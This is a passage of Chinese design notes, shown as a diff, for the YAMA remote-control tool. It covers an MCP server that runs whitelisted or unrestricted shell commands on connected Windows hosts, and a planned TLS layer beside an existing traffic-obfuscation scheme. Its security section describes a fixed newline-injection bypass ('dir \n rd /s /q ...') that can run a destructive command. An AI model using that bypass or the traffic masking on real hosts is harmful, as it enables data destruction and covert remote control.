- `httplib` 默认多线程处理请求 → **多个 `tools/call` 会并发**。所有会话状态都靠 `m_TermMutex` + `busy` 串行化,**不要假定请求串行**。
|
||||
|
||||
---
|
||||
|
||||
## 3. 一次性命令 `exec_command`
|
||||
|
||||
### 3.1 安全门(顺序)
|
||||
|
||||
```
|
||||
ParseHostIdArg → -32602 参数非法
|
||||
FindMainContext → -32002 主机不存在/离线
|
||||
clientType==LNX/MAC → -32005 仅 Windows
|
||||
command 为空 → -32602
|
||||
mcp.IsReadonly() → -32006 只读模式默认开,需 McpReadonly=0
|
||||
含 &|<>^ 五元字符 → -32008 防注入绕过白名单
|
||||
含控制字符(\r\n 等 <0x20) → -32008 防换行拆分绕过白名单
|
||||
白名单前缀校验 → -32007 不在白名单
|
||||
```
|
||||
|
||||
- **白名单**:`IsCommandAllowed` 做「trim + ASCII 小写后前缀匹配」,且前缀后须为空/空格/制表符(防 `dirx` 误配 `dir`)。配置为空时回落到内置 `kDefaultCmdWhitelist`:
|
||||
```
|
||||
dir,type,cd,chdir,ver,hostname,whoami,where,tasklist,systeminfo,ipconfig,netstat,
|
||||
path,set,find,findstr,reg query,sc query,
|
||||
ping,tracert,nslookup,getmac,driverquery,query,gpresult,
|
||||
arp -a,route print,schtasks /query
|
||||
```
|
||||
- **元字符门 `&|<>^`** 是**安全门**(拒绝 shell 注入/命令拼接),比持久终端的 `&|` 更严。
|
||||
- **控制字符门**:同时拒绝所有 `<0x20` 的控制字符(`\r`/`\n` 等)。否则 `dir \n rd /s /q ...` 这种带内嵌换行的命令会通过「前缀 `dir` + 空格」的白名单校验,却在 `cmd.exe` 里被换行拆成两条独立命令、执行任意后续行——彻底绕过只读白名单。这是 2026-08-24 独立审查发现并修复的**安全漏洞**。
|
||||
|
||||
### 3.2 流程
|
||||
|
||||
```
|
||||
BeginTermPending(devId, command, nonce) → false 则 -32003(该 host 已有终端会话)
|
||||
ctx->Send2Client(COMMAND_SHELL) → 失败 ClearTermPending + -32004
|
||||
WaitTerminalReady(devId, subCtx, isPty, timeoutMs)
|
||||
→ 超时 -32001(内部已自清理)
|
||||
组哨兵行 Send2Client (见 §2.3)
|
||||
WaitTerminalDone(devId, raw, exitCode, closed, timeoutMs)
|
||||
→ 超时 -32001(内部已自清理 + 调用方 CancelIO)
|
||||
subCtx->CancelIO() ← 一次性:读完即关子链接,结束 shell
|
||||
清洗输出(§2.4)
|
||||
审计:PostMessageA(WM_SHOWERRORMSG, ..., "MCP命令执行")
|
||||
返回 { stdout, exit_code }
|
||||
```
|
||||
|
||||
### 3.3 `WaitTerminalDone` 三态(一次性专用)
|
||||
|
||||
- **哨兵命中(done)**:`out` = `data[0..sentPos)`(截断到哨兵前),`exitCode=0/1`,**擦除会话+路由**,返回 true。
|
||||
- **进程退出(closed)**:`out` = 全部 `data`(无哨兵),`exitCode=-1`,擦除会话+路由,返回 true。
|
||||
- **超时**:擦除会话+路由,返回 false(调用方 `CancelIO`)。
|
||||
|
||||
---
|
||||
|
||||
## 4. 持久终端 `terminal_open` / `terminal_exec` / `terminal_close`
|
||||
|
||||
### 4.1 工具契约
|
||||
|
||||
| 工具 | 入参(required) | 出参 |
|
||||
|---|---|---|
|
||||
| `terminal_open` | `id`(+`timeout_ms`) | `session_id`(32hex)、`is_pty`(bool) |
|
||||
| `terminal_exec` | `id`、`session_id`、`command`(+`timeout_ms`) | `stdout`、`exit_code` |
|
||||
| `terminal_close` | `id`、`session_id` | `closed`(bool,恒 true) |
|
||||
|
||||
`session_id` 由服务端 `GenerateRandomToken()` 生成(32 hex / 128 bit)。
|
||||
|
||||
### 4.2 共享前置 `ResolveTerminalSessionHost`
|
||||
|
||||
`terminal_open` / `terminal_exec` 复用(`terminal_close` 为幂等内联版,见 §4.5):
|
||||
|
||||
```
|
||||
IsTerminalEnabled() && !IsReadonly() → -32006(需 McpTerminal=1 且 McpReadonly=0)
|
||||
ParseHostIdArg → -32602
|
||||
FindMainContext → -32002 主机不存在/离线
|
||||
clientType==LNX/MAC → -32005 仅 Windows
|
||||
```
|
||||
|
||||
### 4.3 `terminal_open`
|
||||
|
||||
```
|
||||
SweepIdleTerminals(300) ← 先回收闲置会话
|
||||
ResolveTerminalSessionHost
|
||||
sessionId = GenerateRandomToken()
|
||||
BeginTermOpen(devId, sessionId) → false 则 -32003(单设备单终端)
|
||||
ctx->Send2Client(COMMAND_SHELL) → 失败 ClearTermPending + -32004
|
||||
WaitTerminalReady(...) → 超时 -32001(自清理)
|
||||
审计 "term-open"
|
||||
返回 { session_id, is_pty }
|
||||
```
|
||||
|
||||
**关键**:`WaitTerminalReady` 成功后**不擦除会话**(与一次性相反)——会话要留给后续 `terminal_exec`。此时 `started=true`、`busy=false`,shell 空闲运行。
|
||||
|
||||
### 4.4 `terminal_exec`
|
||||
|
||||
```
|
||||
SweepIdleTerminals(300)
|
||||
ResolveTerminalSessionHost
|
||||
session_id 为空 → -32602
|
||||
command 为空 → -32602
|
||||
command 含 & 或 | → -32008(正确性门,见 §4.6)
|
||||
nonce = 随机 8 hex
|
||||
BeginTermCommand(devId, sessionId, command, nonce, subCtx, isPty)
|
||||
→ false 则 -32002(不存在/不匹配/未就绪/忙碌/已关)
|
||||
sentLine = SendTerminalCommandLine(subCtx, isPty, command, nonce)
|
||||
WaitTermCommand(devId, raw, exitCode, closed, timeoutMs)
|
||||
→ 超时:subCtx->CancelIO() + -32001
|
||||
→ closed:subCtx->CancelIO()(会话已被清理,仅对称无害)
|
||||
stdoutStr = CleanTerminalOutput(raw, cp, sentLine)
|
||||
审计 "term-exec [sessionId]: command"
|
||||
返回 { stdout, exit_code }
|
||||
```
|
||||
|
||||
**`WaitTermCommand` 三态(持久专用,与一次性不同)**:
|
||||
|
||||
- **哨兵命中(done)**:`busy=false`、刷新 `lastActiveAt`、`out` 截到 `sentPos`、**保留会话**,返回 true。← 这是「持久」的核心:命令完成后 shell 不关。
|
||||
- **进程退出(closed)**:`out`=全部 `data`、`exitCode=-1`、**擦除会话+路由**,返回 true。
|
||||
- **超时**:擦除会话+路由,返回 false(调用方 `CancelIO`)。
|
||||
|
||||
### 4.5 `terminal_close`
|
||||
|
||||
```
|
||||
SweepIdleTerminals(300)
|
||||
IsTerminalEnabled() && !IsReadonly() → -32006
|
||||
ParseHostIdArg → -32602
|
||||
session_id 为空 → -32602
|
||||
CloseTermSession(devId, sessionId)
|
||||
r==2(sessionId 不匹配) → -32002(防拼错静默泄漏真会话)
|
||||
审计 "term-close"
|
||||
返回 { closed: true }
|
||||
```
|
||||
|
||||
`CloseTermSession` 返回值语义:**0**=已关闭;**1**=会话不存在(幂等,仍返回 `{closed:true}`);**2**=sessionId 不匹配(报错)。
|
||||
|
||||
### 4.6 正确性门 `&|`(非安全门)
|
||||
|
||||
`terminal_exec` **拒绝含 `&` 或 `|` 的命令**(`find_first_of("&|")`,含 `&&`/`||`/`|`),报 `-32008`。原因:哨兵包装 `cmd 2>&1 && echo ... || echo ...` 假定命令是「扁平」的,命令内含 `&`/`|` 会与包装的控制操作符合流、导致退出码失真/输出归属不清。
|
||||
|
||||
- 这是**正确性限制,不是白名单**——持久终端本就不设白名单。
|
||||
- 同样拒绝 `<0x20` 的控制字符(`\r`/`\n`):换行会把命令拆成多行、只有末行被哨兵包装,导致退出码与输出归属失真。
|
||||
- `> < ^`(重定向 / 转义)**允许**:不破坏哨兵链。AI 把链式/管道命令拆成多条 `terminal_exec` 调用即可(cwd/env 保持,等价)。
|
||||
|
||||
对比:一次性 `exec_command` 因有白名单,其元字符门更严(`&|<>^` 五元字符全拒,§3.1)。
|
||||
|
||||
---
|
||||
|
||||
## 5. 状态机方法明细
|
||||
|
||||
### 5.1 一次性命令专用
|
||||
|
||||
| 方法 | 作用 |
|
||||
|---|---|
|
||||
| `BeginTermPending(devId, cmd, nonce)` | 锁内登记会话;已有会话则 false(单设备单终端)。 |
|
||||
| `WaitTerminalReady(devId, subCtx, isPty, timeout)` | 等 `started`;超时**擦除**并返回 false。成功输出 `subCtx`/`isPty`,**不擦**。 |
|
||||
| `WaitTerminalDone(...)` | 等 `done||closed`;三态见 §3.3。 |
|
||||
| `ClearTermPending(devId)` | 发送失败等提前退出路径的清理。 |
|
||||
| `IsTermPending(devId)` | `MessageHandle` 判定是否有待接管的终端会话。 |
|
||||
| `RegisterTerminalContext(devId, subCtx, isPty)` | 子连接就绪接管:置 `started/subCtx/isPty`、登记反向索引、发 `COMMAND_NEXT`(+PTY resize)、`notify_all`。 |
|
||||
| `IsTerminalContext(subCtx)` | `MessageHandle` 顶部路由判定。 |
|
||||
| `OnTerminalData(subCtx, data, len)` | 追加输出、`FindSentinel` 命中置 `done` + `notify`;`done||closed` 时忽略迟到数据。 |
|
||||
| `OnTerminalClosed(subCtx)` | 置 `closed`;空闲持久会话直接擦;`notify_all` 唤醒 busy 等待线程。 |
|
||||
|
||||
### 5.2 持久终端专用
|
||||
|
||||
| 方法 | 作用 |
|
||||
|---|---|
|
||||
| `BeginTermOpen(devId, sessionId)` | 锁内建持久会话(`persistent=true`、`lastActiveAt=now`);已有会话 false。 |
|
||||
| `BeginTermCommand(devId, sid, cmd, nonce, subCtx, isPty)` | 锁内校验「persistent && sid 匹配 && started && !busy && !closed」→ 置 `busy=true`、**原子复位** `data/sentPos/exitCode/done/closed`、更新 `command/nonce/lastActiveAt`。 |
|
||||
| `WaitTermCommand(...)` | 等 `done||closed`;三态见 §4.4。 |
|
||||
| `CloseTermSession(devId, sid)` | 不存在→1;sid 不匹配→2;`busy` 时仅置 `closed`+notify(交等待线程清理,防双重擦除);非 busy 直接擦+锁外 `CancelIO`。 |
|
||||
| `SweepIdleTerminals(idleTimeoutSec)` | 回收 `persistent && !busy && difftime(now,lastActiveAt)>idle` 的会话;收集后锁外 `CancelIO`。 |
|
||||
|
||||
### 5.3 `OnTerminalClosed` 的泄漏修复
|
||||
|
||||
`OnTerminalClosed` 有**两个入口**:
|
||||
|
||||
1. `MessageHandle` 的 `TOKEN_TERMINAL_CLOSE` 分支(客户端 shell 优雅退出时发 token)。
|
||||
2. `OfflineProc`(`2015RemoteDlg.cpp`)——连接**骤然断开**(网络断/客户端崩溃,无 token)时,与 `WebService().OnTerminalClosed` 并列调用 `McpServer().OnTerminalClosed`。此入口是 2026-08-24 独立审查发现缺失并补齐的:否则骤断的持久终端会话会在 `m_TermSessions`/`m_TermContextToDevice` 里留悬空 `subCtx`,连接池复用地地址后会误路由新连接、甚至 `CancelIO` 掉无关连接。
|
||||
|
||||
shell 进程退出时,若是一个**空闲持久会话**(`persistent && !busy && started`),没有等待线程会清理它,会泄漏死 `subCtx`。故:
|
||||
|
||||
```cpp
|
||||
s.closed = true;
|
||||
if (s.persistent && !s.busy && s.started) {
|
||||
m_TermContextToDevice.erase(subCtx); // 空闲持久会话:直接擦(无需 CancelIO,已死)
|
||||
m_TermSessions.erase(sit);
|
||||
}
|
||||
m_TermCv.notify_all(); // busy 场景唤醒等待线程由其清理;一次性 exec 路径不变
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 并发模型与不变量
|
||||
|
||||
### 6.1 关键不变量
|
||||
|
||||
- **`CancelIO` 一律在 `m_TermMutex` 之外**(所有路径:`BuildExecCommand`、`BuildTerminalExec`、`CloseTermSession`、`SweepIdleTerminals`)。这是硬约束——`CancelIO` 可能阻塞/回调,锁内调用会死锁。
|
||||
- **`wait_for` 期间不持有会被他人擦除的迭代器**:等待线程(`WaitTermCommand`)持 `it`,但**只有它自己**会在超时/closed 路径擦除该会话;`terminal_close`/`sweep` 因 `busy` 标志而**不会**擦除「正在等待的命令」的会话。这就是 `busy` 标志的核心作用。
|
||||
- **单设备单终端**:`terminal_*` 与 `exec_command` 因**共享 `m_TermSessions`** 而互斥(双向 `-32003`)。`BeginTermPending` 与 `BeginTermOpen` 都做「已有会话则 false」。
|
||||
|
||||
### 6.2 `busy` 标志生命周期
|
||||
|
||||
```
|
||||
terminal_exec: BeginTermCommand 置 busy=true
|
||||
Send2Client
|
||||
WaitTermCommand 返回时:
|
||||
done 路径 → busy=false(保留会话)
|
||||
closed 路径 → 会话被擦除
|
||||
超时路径 → 会话被擦除
|
||||
terminal_close(会话忙时)→ 仅置 closed=true + notify,不擦,交等待线程清理
|
||||
```
|
||||
|
||||
### 6.3 互斥矩阵
|
||||
|
||||
| | `exec_command` | `terminal_*` | `list_files`/`get_screenshot` 等 |
|
||||
|---|---|---|---|
|
||||
| `exec_command` | 互斥(-32003) | 互斥(-32003) | 无关(各用 `m_Pending`) |
|
||||
| `terminal_*` | 互斥 | 单设备单终端 | 无关 |
|
||||
|
||||
> Web 终端与 MCP 终端各用独立 map,理论上可同设备并存(既有现象,非本次范围)。
|
||||
|
||||
### 6.4 idle 回收语义
|
||||
|
||||
`SweepIdleTerminals(300)`:`lastActiveAt` 在 `BeginTermOpen` / `BeginTermCommand` **(命令开始时)**更新,**命令完成后不刷新**。因此「两次命令间隔 < 300s」的活跃会话安全;「一次长命令 + 长时间无新命令」的会话会在最后一次命令开始 300s 后被回收。回收是非惰性的——每次 `terminal_*` 入口先 sweep,所以空闲会话不会在无请求时被后台主动关闭(但也不占后台定时器资源)。用 `difftime` 比较防时钟回拨下溢。
|
||||
|
||||
---
|
||||
|
||||
## 7. 安全模型
|
||||
|
||||
| 维度 | `exec_command` | 持久终端 |
|
||||
|---|---|---|
|
||||
| 开关 | `McpReadonly=0` | `McpTerminal=1` **且** `McpReadonly=0`(默认 `McpTerminal=0`) |
|
||||
| 白名单 | 有(内置/自定义前缀白名单) | **无**(完整 shell,可写命令、重定向、改环境) |
|
||||
| 元字符门 | `&|<>^` + 控制字符全拒(安全门) | `&|` + 换行拒(正确性门) |
|
||||
| 审计 | `WM_SHOWERRORMSG` 标题「MCP命令执行」 | 标题「MCP持久终端」(open/exec/close 各一条) |
|
||||
| 生命周期 | 命令结束即关 | 会话保持,闲置 300s 回收,`terminal_close` 显式关 |
|
||||
| 会话隔离 | 单设备单终端 | 单设备单终端 + `session_id` 校验防串用 |
|
||||
|
||||
审计实现:`PostMessageA(WM_SHOWERRORMSG, new CString(...), new CString(_TR("...标题...")))` → 进入服务端 `m_MessageLog`,`get_audit_log` 可查。审计不可关闭。
|
||||
|
||||
---
|
||||
|
||||
## 8. 配置项
|
||||
|
||||
| 键 | 默认 | 说明 |
|
||||
|---|---|---|
|
||||
| `McpEnabled` | 0 | MCP 总开关 |
|
||||
| `McpPort` | 6544 | 监听端口 |
|
||||
| `McpBind` | 127.0.0.1 | 绑定地址(默认仅回环) |
|
||||
| `McpToken` | (空→运行时兜底) | Bearer token |
|
||||
| `McpReadonly` | 1 | 只读模式(禁 `exec_command` 与持久终端) |
|
||||
| `McpCmdWhitelist` | (空→内置白名单) | `exec_command` 白名单,逗号分隔 |
|
||||
| `McpTerminal` | 0 | 持久终端开关(要求 `McpReadonly=0`) |
|
||||
|
||||
**存储位置**:Release 版存**注册表** `HKCU\Software\YAMA\settings`(**不是** `settings.ini`;`settings.ini` 仅 Debug 版读取)。改动需**重启程序**生效。
|
||||
|
||||
**启动读取**(`2015RemoteDlg.cpp`):
|
||||
```cpp
|
||||
McpServer().SetReadonly(THIS_CFG.GetInt("settings", "McpReadonly", 1) != 0);
|
||||
McpServer().SetCmdWhitelist(THIS_CFG.GetStr("settings", "McpCmdWhitelist", ""));
|
||||
McpServer().SetTerminalEnabled(THIS_CFG.GetInt("settings", "McpTerminal", 0) != 0);
|
||||
```
|
||||
|
||||
**工具可见性**:`terminal_*` 三个工具在 `tools/list` 里**仅在** `IsTerminalEnabled() && !IsReadonly()` 时出现(门控在 `BuildToolsListResult`)。故默认配置下 `tools/list` 看不到它们。
|
||||
|
||||
---
|
||||
|
||||
## 9. 错误码
|
||||
|
||||
| 码 | 含义 | 触发点 |
|
||||
|---|---|---|
|
||||
| `-32001` | 超时 | `WaitTerminalReady`/`WaitTermCommand`/`WaitPending` 等超时 |
|
||||
| `-32002` | 主机/会话不存在 | `FindMainContext` 失败、`session_id` 不匹配/未就绪/已关 |
|
||||
| `-32003` | 设备忙 | 单设备单终端冲突、同 host 已有挂起请求 |
|
||||
| `-32004` | 发送失败 | `Send2Client` 失败 |
|
||||
| `-32005` | 非 Windows | LNX/MAC 客户端 |
|
||||
| `-32006` | 已禁用/只读 | `IsReadonly()` 或 `!IsTerminalEnabled()` |
|
||||
| `-32007` | 白名单拒绝 | `IsCommandAllowed` false |
|
||||
| `-32008` | 含禁用字符 | `exec_command` 的 `&|<>^`;`terminal_exec` 的 `&|` |
|
||||
| `-32602` | 参数非法 | `ParseHostIdArg` 失败、缺 required 参数 |
|
||||
| `-32700` | JSON 解析错误 | 请求体非合法 JSON-RPC |
|
||||
|
||||
---
|
||||
|
||||
## 10. 排查指南(供后续人员/大模型)
|
||||
|
||||
### 10.1 `exec_command` 返回 `-32001` 超时
|
||||
|
||||
- 先看是不是**目标机环境问题**而非代码 bug:`nslookup`/`where` 在部分机器会因 DNS/文件系统异常稳定超时(见项目记忆)。裸 `nslookup <host>` 卡默认重试 20~40s > MCP 超时;`where cmd.exe` 在特定机器卡 PATH 解析。
|
||||
- 服务端行为正确:超时返回 `-32001` 并清理终端会话,不挂起/崩溃。
|
||||
|
||||
### 10.2 `terminal_*` 在 `tools/list` 里看不到
|
||||
|
||||
- 检查 `McpTerminal=1` **且** `McpReadonly=0`。任一不满足,工具不出现且调用返回 `-32006`。
|
||||
- 改配置后需**重启程序**(注册表配置启动时读)。
|
||||
|
||||
### 10.3 `terminal_exec` 返回 `-32002`
|
||||
|
||||
- 会话已被回收(闲置 >300s)、shell 已退出、或 `session_id` 拼错。重新 `terminal_open`。
|
||||
- `terminal_close` 的 `-32002` 特指 **session_id 不匹配**(防串用)。
|
||||
|
||||
### 10.4 `-32003` 设备忙
|
||||
|
||||
- 单设备单终端:同 host 已有终端会话(持久或一次性)在飞。等它结束或 `terminal_close`。
|
||||
- 紧接 `terminal_close`(会话 busy 时)后立刻 `terminal_open` 可能偶发 `-32003`:busy 会话的关闭是「标记 closed + 交等待线程清理」,清理完成前有极短窗口。重试一次即可,非死锁。
|
||||
|
||||
### 10.5 stdout 里出现命令本身 / 哨兵
|
||||
|
||||
- 命令本身回显 = ConPTY 输入回显,已由 `StripEchoedCommand` 服务端剔除(§2.4)。若仍出现,检查是否该行因编码(非 PTY 老管道的 GBK)与 `echoedLine` 字节不一致而 `find` 不到——老管道本应无回显。
|
||||
- 哨兵 `__MCP_DONE_...` 出现 = 哨兵截断/清洗异常,通常意味着命令含 `&|` 破坏了控制操作符链(持久终端会提前 `-32008` 拒绝,一次性会 `-32008` 拒绝五元字符)。
|
||||
|
||||
### 10.6 中文/乱码
|
||||
|
||||
- 输出乱码:检查 `isPty` 与 `cp` 是否匹配(PTY=UTF-8,老管道=GBK)。
|
||||
- **`get_audit_log` 中文正确**:`BuildGetAuditLog` 用 `ToUtf8(type/time/msg, 936)` 把 GBK 转 UTF-8,jsoncpp 输出 `\uXXXX` 转义,客户端解析后中文正常(已实测 `MCP持久终端`/`MCP命令执行`/`操作成功`/`主机上线` 等均无乱码)。
|
||||
|
||||
### 10.7 会话泄漏 / 子链接不关
|
||||
|
||||
- 三个擦除点:`WaitTermCommand`(closed/超时)、`CloseTermSession`、`SweepIdleTerminals`;以及 `OnTerminalClosed` 对**空闲持久会话**的直接擦除(§5.3)。排查时确认 shell 退出路径 `OnTerminalClosed` 是否命中、`COMMAND_NEXT` 是否漏发导致输出永不回流。
|
||||
|
||||
---
|
||||
|
||||
## 11. 关键源文件索引
|
||||
|
||||
| 文件 | 内容 |
|
||||
|---|---|
|
||||
| `server/2015Remote/McpServer.h` | `TermSession` 结构、`BeginTermOpen/Command/WaitTermCommand/CloseTermSession/SweepIdleTerminals` 声明、`m_terminalEnabled` |
|
||||
| `server/2015Remote/McpServer.cpp` | `BuildExecCommand`(~1946)、`BuildTerminalOpen/Exec/Close`(~2345)、状态机方法(~2660)、`FindSentinel`(~2569)、`StripEchoedCommand`(~1935)、`SendTerminalCommandLine`(~2192)、`CleanTerminalOutput`(~2206)、`ResolveTerminalSessionHost`(~2160) |
|
||||
| `server/2015Remote/McpSettingsDlg.h/.cpp` | `IDC_MCP_TERMINAL` 复选框、回填/落盘 `McpTerminal` |
|
||||
| `server/2015Remote/2015RemoteDlg.cpp` | 启动读 `McpTerminal` → `SetTerminalEnabled` |
|
||||
|
||||
> 构建由 VS2019(MSBuild v143)完成;项目工具集 v142,无法在外部环境构建。
|
||||
@@ -0,0 +1,313 @@
|
||||
# 传输层单向 TLS 加密设计(按需加密)
|
||||
|
||||
> 版本:v0.5 · 状态:**Go 服务端 + Windows 客户端已实现并验证;信任锚改存注册表;MFC 主控端(阶段 3)未施工** · 日期:2026-10-14
|
||||
> 目标:让 YAMA 设备端口(TCP 6543)在继续兼容老客户端(明文/XOR)的同时,允许新客户端在拿到证书后按需开启**单向 TLS** 加密传输。
|
||||
> 本期范围:**Go 服务端(`server/go`)+ Windows 客户端**;MFC 服务端(`server/2015Remote`)延后。
|
||||
>
|
||||
> 需求原文(三点,逐一对应下文):
|
||||
> 1. 新客户端**默认不加密**,行为与老客户端完全一致;
|
||||
> 2. 某些高要求场景,管理员「颁发一个证书给该客户端 + 重启」,该客户端即改走加密;
|
||||
> 3. 服务端同一端口(6543)同时兼容明文与 TLS 两种客户端,老客户端零改动。
|
||||
|
||||
## 1. 目标与范围
|
||||
|
||||
### 目标
|
||||
|
||||
- 同一 `6543` 端口上,服务端自动区分「明文客户端」与「TLS 客户端」,按连接路由。
|
||||
- 加密是**按部署、按客户端开关**的:证书(注册表值或文件)在 → TLS;证书不在 → 明文(与老客户端一致)。
|
||||
- 老客户端(无证书概念)行为不变、零改动。
|
||||
- 满足 Measure 1 的「传输层真加密 + 抗重放」目标(对 TLS 客户端而言)。
|
||||
|
||||
### 非目标(Non-goals,本次不做)
|
||||
|
||||
- 不做 **mTLS / 客户端证书**:单向 TLS 不验证客户端证书,客户端身份仍由隧道内的现有登录(`PwdHmac` V1 / `ECDSA` V2)承担。
|
||||
- 不做传输层 PSK(`YAMA_TRANSPORT_KEY`)方案——本设计改用证书,更贴合「颁发证书」的运维模型。
|
||||
- 不改应用层协议(flag 帧格式 / XOR / zstd),不做「TLS 内去掉 XOR」的二次精简(后续可选)。
|
||||
- 不做加密开关的运行时热切换(证书只在客户端启动时读取一次,改配置需重启——这正是需求)。
|
||||
- 不做 Linux / macOS / Android 客户端的 TLS 接入(本文以 Windows MFC 客户端为主,其余平台同样式跟进)。
|
||||
- 不做 **MFC 服务端(`server/2015Remote`)的 TLS 接入**——本期只做 Go 服务端(`server/go`),MFC 主控端延后到阶段 3。
|
||||
|
||||
## 2. 现状与复用
|
||||
|
||||
### 2.1 当前传输(已核实)
|
||||
|
||||
服务端 TCP 传输链路:`server/go/server/server.go` `acceptLoop()`(329–360 行)`Accept` 后 `go handleConnection(conn)`;`handleConnection()`(363–425 行)读入 `ctx.InBuffer`,交给 `protocol.Parser`。
|
||||
|
||||
`server/go/protocol/parser.go` `Parse()`(51–85 行):
|
||||
|
||||
1. 可选剥离 HTTP-mask(`POST /...\r\n\r\n` 外壳,`common/mask.h` 的 `HttpMask`);
|
||||
2. `parseHeader()`(88–140 行)调用 `CheckHead()` 识别协议;
|
||||
3. `parsePacket()`(143–225 行)解头 + XOR 解码 + zstd 解压。
|
||||
|
||||
`server/go/protocol/header.go` `CheckHead()`(149–165 行)对前 12 字节依次尝试 8 种头混淆 × 4 种魔数,命中即得 `FlagType`:
|
||||
|
||||
| FlagType | 魔数 | 首字节 |
|
||||
|---|---|---|
|
||||
| FlagHell(4) | `HELL` | `H`=0x48 |
|
||||
| FlagShine(1) | `Shine` | `S`=0x53 |
|
||||
| FlagFuck(2) | `<<FUCK>>` | `<`=0x3C |
|
||||
| FlagHello(3) | `Hello?` | `H`=0x48 |
|
||||
| HTTP-mask | `POST ` | `P`=0x50 |
|
||||
|
||||
> 注意:上表「首字节」是**解密后**的魔数首字节。实际线上,客户端(`common/header.h` 的 `GetHead`)会用 `time() % 12` 随机选一个混淆方法对前 4 字节魔数加密(仅在 `superAdmin` 命中的 `HellEncoder` 路径;默认 `ProtocolEncoder` 直接发明文 `Shine`)。因此**原始首字节可能是任意值**,包括 `0x16`。这正是 TLS 检测不能只看前两字节、必须再加一字节判据的原因(见 §3.1)。
|
||||
|
||||
当前「加密」为 `codec.go` 的 `xorDecoder16`(XOR + 两轮伪随机交换,密钥是明文带内 1~2 字节)+ `header.go` 的 V0~V6 头混淆——**等于明文**。这正是 Measure 1 要解决的。
|
||||
|
||||
### 2.2 客户端登录(已核实,隧道内照常)
|
||||
|
||||
- V1:`client/KernelManager.cpp:1857` 从配置读 `settings/PwdHmac`(预计算摘要),服务端 `auth.go:240` `VerifyMessage(YAMA_PWD, passcode, hmacSig)` 校验。`YAMA_PWD` 只存在服务端,客户端只有摘要,不持有 `YAMA_PWD`。
|
||||
- V2:`auth.go:188` ECDSA P-256 验签(`v2:BASE64`),客户端持私钥、服务端持公钥。
|
||||
|
||||
### 2.3 关键结论(本设计的基础)
|
||||
|
||||
**TLS 作为「透明传输包装」,应用层协议一行不改。** 即:
|
||||
|
||||
```
|
||||
明文客户端: [TCP] = flag 帧 + XOR payload + zstd
|
||||
TLS 客户端: [TCP][TLS] = { flag 帧 + XOR payload + zstd }
|
||||
```
|
||||
|
||||
服务端 `parser.go`/`codec.go`/`header.go`/handler 全部不动;TLS 客户端解密后的字节流就是同一套协议。唯一新增的是**连接建立时的 TLS 检测与解包**。XOR 套在 TLS 里冗余但无害,保留它换来「应用协议零改动、老新客户端共用同一套代码」。
|
||||
|
||||
## 3. 总体方案
|
||||
|
||||
### 3.1 同端口共存 + 首字节检测
|
||||
|
||||
服务端在 `handleConnection` 开头(`Accept` 之后)偷看连接开头 6 字节:
|
||||
|
||||
- 命中 `0x16 0x03 … 0x01`(TLS 握手记录 + TLS 版本号 + 握手类型 ClientHello)→ 交给 `tls.Server` 解包;
|
||||
- 其它 → 走现有明文路径。
|
||||
|
||||
**为何要看第 6 字节**:客户端会随机混淆魔数头(见 §2.1),所以明文连接的前两字节**可能**恰好是 `0x16 0x03`。但混淆只作用于前 4 字节魔数,字节 5 对混淆后的 `HELL` 头恒为 `0x00`,对明文 `Shine`/`POST` 变体是 ASCII 字符——**永远不会是 `0x01`**;而任何 TLS 握手记录里,字节 5 就是握手消息类型,ClientHello 恒为 `0x01`。于是 `0x16 0x03` 加 `b[5]==0x01` 三重判据让误判概率趋近于零。
|
||||
|
||||
```
|
||||
accept
|
||||
├─ 现有 MaxConnections / per-IP 限流(保持,先于 TLS 握手,廉价拒绝 + 抗握手 DoS)
|
||||
├─ peek 3 字节
|
||||
│ ├─ 0x16 0x03 → tls.Server(conn, tlsCfg)(惰性握手,首次 Read 触发)
|
||||
│ └─ 其它 → 明文
|
||||
└─ handleConnection(conn) // 不区分明文/TLS,tls.Conn 实现 net.Conn
|
||||
```
|
||||
|
||||
### 3.2 客户端行为
|
||||
|
||||
客户端启动时检查「证书文件是否存在」:
|
||||
|
||||
- 不在 → 明文(与老客户端完全一致,默认即此);
|
||||
- 在 → 所有出站 TCP 连接(主连接 + screen/terminal/file 子连接)统一走 TLS。
|
||||
|
||||
### 3.3 架构图
|
||||
|
||||
```
|
||||
┌──────────── 被控端(客户端,无证书) ────────────┐
|
||||
│ TCP ── flag+XOR+zstd ─────────────────────────► │ 明文
|
||||
└───────────────────────────────────────────────────┘
|
||||
┌──────────── 被控端(客户端,有证书) ────────────┐
|
||||
│ TCP ── TLS ── { flag+XOR+zstd } ──────────────► │ 加密
|
||||
└───────────────────────────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌──────────────────────┐
|
||||
│ 服务端 6543 │
|
||||
│ peek 首字节路由 │
|
||||
│ ├─ 0x16 0x03 → TLS │
|
||||
│ └─ 其它 → 明文 │
|
||||
│ ── 同一套 parser/handler │
|
||||
└──────────────────────┘
|
||||
```
|
||||
|
||||
## 4. 证书模型(单向 TLS)
|
||||
|
||||
- 服务端持有一张**服务端证书 + 私钥**(可自签名,或由自建 CA 签发)。
|
||||
- 客户端持有**信任锚证书**(CA 证书,或自签名服务端证书本身)用于在握手时校验服务端。
|
||||
- 「颁发证书给某客户端」= 把信任锚证书投递到该客户端(**注册表值**,见 §6.1/§9.3)。证书是**共享的信任锚**(不是每个客户端一张唯一证书),「颁发」的本质是**决定给哪个客户端开加密**。
|
||||
- 单向 TLS **不认证客户端身份**;客户端身份仍由隧道内的登录(V1 `PwdHmac` / V2 ECDSA)承担。
|
||||
- 信任锚首选存注册表 `Software\<exehash>\settings\tls_cert`(REG_SZ 直接存 PEM 正文);兼容旧方式:`settings.ini` `[settings] tls_cert` 路径,或 exe 同目录 `yama-ca.pem` 文件。
|
||||
|
||||
## 5. 服务端改动
|
||||
|
||||
### 5.1 配置(`server/go/server/server.go` `Config`)
|
||||
|
||||
新增两个字段,均为证书/私钥文件路径;空 = 禁用 TLS(仅明文,向后兼容):
|
||||
|
||||
```go
|
||||
TLSCertFile string // 服务端证书(PEM)
|
||||
TLSKeyFile string // 服务端私钥(PEM)
|
||||
```
|
||||
|
||||
`cmd/main.go` 读取环境变量(沿用现有 `YAMA_*` 命名):
|
||||
|
||||
```go
|
||||
cfg.TLSCertFile = os.Getenv("YAMA_TLS_CERT")
|
||||
cfg.TLSKeyFile = os.Getenv("YAMA_TLS_KEY")
|
||||
```
|
||||
|
||||
仅当两者都非空才构建 `*tls.Config`;否则 `s.tlsCfg == nil`,`acceptLoop` 走纯明文。
|
||||
|
||||
### 5.2 `tls.Config`
|
||||
|
||||
```go
|
||||
tlsCfg := &tls.Config{
|
||||
